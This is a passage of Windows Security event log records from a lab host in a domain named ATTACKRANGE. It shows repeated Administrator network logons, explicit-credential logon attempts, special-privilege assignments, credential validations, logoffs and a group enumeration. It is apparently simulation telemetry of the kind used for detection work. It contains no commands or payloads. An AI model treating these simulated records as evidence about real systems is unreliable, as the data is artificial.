length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245569 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245568 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245567 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xC8628 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245599 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE5211 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245598 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE5211 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245597 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245596 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245595 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE4E5F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245594 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE4E5F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245593 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245592 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245591 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245590 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE45B9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245589 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE45B9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245588 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245587 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245586 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE440F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245585 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB70DE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245584 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB75A0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245583 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE440F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245582 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE440F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245581 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245580 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245579 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE43DE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245578 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE43DE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245577 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE43DE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245576 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245575 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245574 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE208E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245573 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB9351 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245572 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB83BE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245607 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE7E52 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245606 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE7E52 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245605 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account 